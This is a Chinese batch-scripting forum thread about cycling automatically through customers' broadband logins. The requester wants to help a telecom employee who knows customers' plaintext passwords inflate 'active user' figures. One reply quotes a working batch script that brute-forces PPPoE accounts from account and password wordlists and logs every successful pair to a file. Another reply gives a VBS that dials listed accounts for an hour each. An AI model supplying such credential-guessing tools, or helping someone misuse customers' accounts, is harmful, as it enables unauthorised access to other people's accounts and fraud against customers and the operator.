[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[网络连接] 批处理怎样循环自动登入宽带账号?

朋友是移动公司员工,公司下达任务,要发展活跃用户。(宽带),用户有了。不活跃。要帮客户挂账号,就是宽带连接那种,想用批处理实现,自动登入宽带账号,一个小时后断开,再登入另一个,如此循环,可以实现么。求各位大神教教

移动公司你那个朋友能看到用户的明文密码是么

TOP

回复 2# DAIC

是啊。那个拨号的账号密码他都知道。

TOP

本帖最后由 yu2n 于 2015-1-4 15:48 编辑

参考:
如何用批处理批量宽带连接TXT文本里按行排列的宽带账号或密码?
http://www.bathome.net/thread-24907-1-1.html

要求3个批处理:
第一种:固定一个宽带账号,批处理txt文本里多个按行排序的密码的批处理
第二种:固定一个宽带密码,批处理txt文本里多个按行排序的账号的批处理
第三种:2个txt文本:
1.txt是多个账号;2.txt是多个密码,利用批处理将2个文本组合进行连接的批处理
第三种:2个txt文本:
txt是多个账号;2.txt是多个密码,利用批处理将2个文本组合进行连接的批处理(也就是同时字典扫描进行宽带连接)
第四种:2个txt
txt是账号,然后取账号里面的后几位,然后加上txt2文档内的密码,批量处理。

要求这4个批处理都有连接成功后断开继续连接下一个的功能,并将成功的账号和密码全部用=分开按行输出到另外一个文本里。在运行前如果宽带处于连接状态时先自动断开,最后全部试探连接完毕后保持最后一个成功连接的进行宽带连接。
参考:
[说明]
            1、宽带账号预设在文本“宽带账号.txt”中,一个账号占一行;宽带密码预设在文本“宽带密码..txt”中,一个密码.占一行
            2、账号及密码成功连接时屏幕有提示,结果保存在文本“成功连接.txt”中,未成功连接的不保存
           3、请自行更改“set user=改成固定的宽带账号”和“set pass=改成固定的宽带密码”这两处变量值
            4、预设宽带连接名称为“宽带连接”,如不一样请自行更改“set pppname=宽带连接”此处
            5、之前未创建宽带连接的可以选择功能1,先创建一个宽带连接,预设宽带连接名称同上

宽带账号批量连接检测批处理.bat
  1. @title 宽带账号批量连接检测批处理 By SunTB
  2. @echo off & setlocal enabledelayedexpansion
  3. set userfile=宽带账号.txt
  4. set passfile=宽带密码.txt
  5. set pppname=宽带连接
  6. set outfile=成功连接.txt
  7. :choose
  8. echo.&echo 本批处理实现以下功能:
  9. echo.&echo     1 - 创建 !pppname!(配合模拟按键实现)
  10. echo.&echo     2 - 测试固定的宽带账号及密码
  11. echo.&echo     3 - 宽带账号固定,密码从文本 %passfile% 里提取逐一测试
  12. echo.&echo     4 - 宽带密码固定,账号从文本 %userfile% 里提取逐一测试
  13. echo.&echo     5 - 宽带账号及密码均从以上文本里提取逐一测试
  14. echo.&echo     6 - 从文本 %userfile% 里提取宽带账号并手动截取@前几位数作为密码
  15. echo.&echo     0 - 退出批处理
  16. echo.&set /p choose=请输入你选择的序号并回车:
  17. if %choose% equ 0 exit
  18. if %choose% equ 1 goto :buildppp
  19. if %choose% equ 2 goto :user1pass1
  20. if %choose% equ 3 goto :user1passx
  21. if %choose% equ 4 goto :pass1userx
  22. if %choose% equ 5 goto :userxpassx
  23. if %choose% equ 6 goto :user_passx
  24. cls&echo.&echo 输入的序号有误,请重新选择!&set choose=&goto :choose
  25. :buildppp
  26. ::创建新宽带连接
  27. set vbs=buildppp.vbs
  28. (echo Set WshShell = CreateObject^("WScript.Shell"^)
  29. echo strCommandLine = "rasphone -a ""!pppname!"""
  30. echo WshShell.Run^(strCommandLine^)
  31. echo WScript.Sleep 1000
  32. echo WshShell.SendKeys "R"
  33. echo WScript.Sleep 30
  34. echo WshShell.SendKeys "{ENTER}"
  35. echo WScript.Sleep 30
  36. echo WshShell.SendKeys "{ENTER}"
  37. echo Set WshShell = Nothing
  38. )>"%vbs%"
  39. cscript //nologo "%vbs%"
  40. del "%vbs%"
  41. goto :exit
  42. :user1pass1
  43. echo.&set /p user=请输入宽带账号:
  44. echo.&set /p pass=请输入宽带密码:
  45. call :check1
  46. goto :exit
  47. :user1passx
  48. set user=改成固定的宽带账号
  49. call :check0
  50. for /f "tokens=*" %%a in ('type "%passfile%"') do (
  51.     if !end! equ 1 (set end=&goto :exit)
  52.     set pass=%%a&call :check1
  53. )
  54. goto :exit
  55. :pass1userx
  56. set pass=改成固定的宽带密码
  57. call :check0
  58. for /f "tokens=*" %%a in ('type "%userfile%"') do (
  59.     if !end! equ 1 (set end=&goto :exit)
  60.     set user=%%a&call :check1
  61. )
  62. goto :exit
  63. :userxpassx
  64. call :check0
  65. for /f "tokens=*" %%a in ('type "%userfile%"') do (
  66.     set user=%%a
  67.     call :check2
  68. )
  69. goto :exit
  70. :user_passx
  71. call :check0
  72. echo.&set /p num=请输入要截取用户名@前多少位数字作为密码:
  73. for /f "tokens=1-2 delims=@" %%a in (宽带账号.txt) do (
  74.     set str=%%a
  75.     set user=%%a@%%b
  76.     set pass=!str:~-%num%!
  77.     call :check1
  78. )
  79. goto :exit
  80. :exit
  81. rasdial "!pppname!" !lastuser! !lastpass!
  82. echo.&echo 所有操作完毕,按任意键退出&pause>nul&exit
  83. :check0
  84. rasdial|find "已连接">nul
  85. if !errorlevel! equ 0 for /f "skip=1 tokens=*" %%a in ('rasdial') do
  86. (rasdial "%%a" /d >nul&set pppname=%%a&goto :eof)
  87. goto :eof
  88. :check1
  89. echo.&set /p str=正在连接账号 !user!=!pass! <nul
  90. rasdial "!pppname!" !user! !pass! >nul
  91. rasdial|find "已连接">nul
  92. if !errorlevel! equ 0 (
  93.     echo [连接成功]
  94.     if %choose% neq 7 echo>>"%outfile%" !user!=!pass!
  95.     set lastuser=!user!
  96.     set lastpass=!pass!
  97.     set end=1
  98. ) else (echo.)
  99. rasdial "!pppname!" /d >nul
  100. goto :eof
  101. :check2
  102. for /f "tokens=*" %%b in ('type "%passfile%"') do (
  103.     if !end! equ 1 (set end=&goto :eof)
  104.     set pass=%%b
  105.     call :check1
  106. )
  107. goto :eof
复制代码
使用VBS创建宽带连接+自动创建桌面快捷方式。
创建宽带连接.VBS
  1. ' 创建宽带连接
  2. Set WshShell = CreateObject("WScript.Shell")
  3. WshShell.Run("rasphone -a ""宽带连接""")
  4. WScript.Sleep 1000
  5. WshShell.SendKeys "R"
  6. WScript.Sleep 30
  7. WshShell.SendKeys "{ENTER}"
  8. WScript.Sleep 30
  9. WshShell.SendKeys "{ENTER}"
  10. ' 创建宽带连接桌面快捷方式
  11. Set WshShell = Wscript.CreateObject("Wscript.Shell")
  12. LnkPth = WshShell.SpecialFolders("Desktop")
  13. Set Link = WshShell.CreateShortcut(LnkPth & "\\宽带连接.lnk")
  14. Link.TargetPath = "rasphone.exe"
  15. Link.Arguments = "-d 宽带连接"
  16. Link.IconLocation = "SHELL32.dll,17"
  17. Link.Save
复制代码
『千江有水千江月』千江有水,月映千江;万里无云,万里青天。    http://yu2n.qiniudn.com/

TOP

回复 4# yu2n


    我想要个能挂一个小时断线,自动连接下一个的。。这个可以吗

TOP

这等好事,要是能全国通用,你让他提供给论坛进行福利派发。大家帮挂了。
目的,学习批处理

TOP

回复 6# hlzj88


    不能全国通用

TOP

本帖最后由 yu2n 于 2015-1-4 18:10 编辑

PPPOE 批量账号挂机1小时  by Yu2n
适用于 Win7x64, XPSP3x86 ,没有经过功能测试。
自行替换『自定义登陆账号』部分的账号与密码。

PPPOE 批量账号挂机1小时.vbs
  1. ' 建立宽带连接
  2. Call PPPOE_Init()
  3. ' 自定义登陆账号
  4. Call OnLine("账号1", "密码1")
  5. Call OnLine("账号2", "密码2")
  6. Call OnLine("账号3", "密码3")
  7. Call OnLine("账号4", "密码4")
  8. Call OnLine("账号5", "密码5")
  9. Call OnLine("账号6", "密码6")
  10. ' 指定账号挂PPPOE在线1小时1分钟
  11. Sub OnLine(ByVal strUserName, ByVal strPassWord)
  12.   Dim wso
  13.   Set wso = CreateObject("WScript.Shell")
  14.   
  15.   ' 连接宽带
  16.   wso.Run "rasdial ""宽带连接"" """ & strUserName & """ """ & strPassWord & """", 1, False
  17.   
  18.   ' 挂机 1 小时 1 分钟
  19.   WScript.Sleep (1 * 60 * 60 + 1 * 60 ) * 1000
  20.   
  21.   ' 断开连接宽带
  22.   wso.Run "rasdial ""宽带连接"" /DISCONNECT", 1, False  
  23.   
  24. End Sub
  25. ' 建立宽带连接
  26. Sub PPPOE_Init()
  27.   ' 创建宽带连接(XP/Win7)
  28.   Set wso = CreateObject("WScript.Shell")
  29.   wso.Run "taskkill /f /im rasphone.exe", 0, True
  30.   wso.Run "rasphone -r ""宽带连接""", 1, True
  31.   wso.Run "rasphone -a ""宽带连接""", 1, False
  32.   WScript.sleep 300
  33.   If GetSystemVersion() < 60 Then
  34.     'WinXP
  35.     wso.SendKeys "(%R)"
  36.     WScript.Sleep 300
  37.     wso.SendKeys "(%N)"
  38.     WScript.Sleep 300
  39.     wso.SendKeys "{ENTER}"
  40.   Else
  41.     'Win7
  42.     wso.SendKeys "(%B)"
  43.     WScript.Sleep 300
  44.     wso.SendKeys "(%C)"
  45.   End If
  46.   ' 创建宽带连接桌面快捷方式
  47.   strLnkPth = wso.SpecialFolders("Desktop")
  48.   Set objLink = wso.CreateShortcut(strLnkPth & "\宽带连接.lnk")
  49.   objLink.TargetPath = "%windir%\system32\rasphone.exe"
  50.   objLink.Arguments = "-d 宽带连接"
  51.   'objLink.WindowStyle = 1    ' 1=常规,3=最大化,7=最小化
  52.   'oShellLink.Hotkey = ""     ' 设置快捷方式的快捷键
  53.   objLink.IconLocation = "SHELL32.dll,17"
  54.   objLink.Description = "连接 宽带连接"
  55.   objLink.WorkingDirectory = "%windir%\system32"
  56.   objLink.Save
  57.   '打开控制面板
  58.   wso.Run "Control netconnections", 1, False
  59. End Sub
  60. '取得操作系统版本
  61. Function GetSystemVersion()
  62.   For Each objItem In GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")
  63.     GetSystemVersion = CInt(Split(objItem.Version, ".")(0) & Split(objItem.Version, ".")(1))
  64.   Next
  65. End Function
复制代码
『千江有水千江月』千江有水,月映千江;万里无云,万里青天。    http://yu2n.qiniudn.com/

TOP

返回列表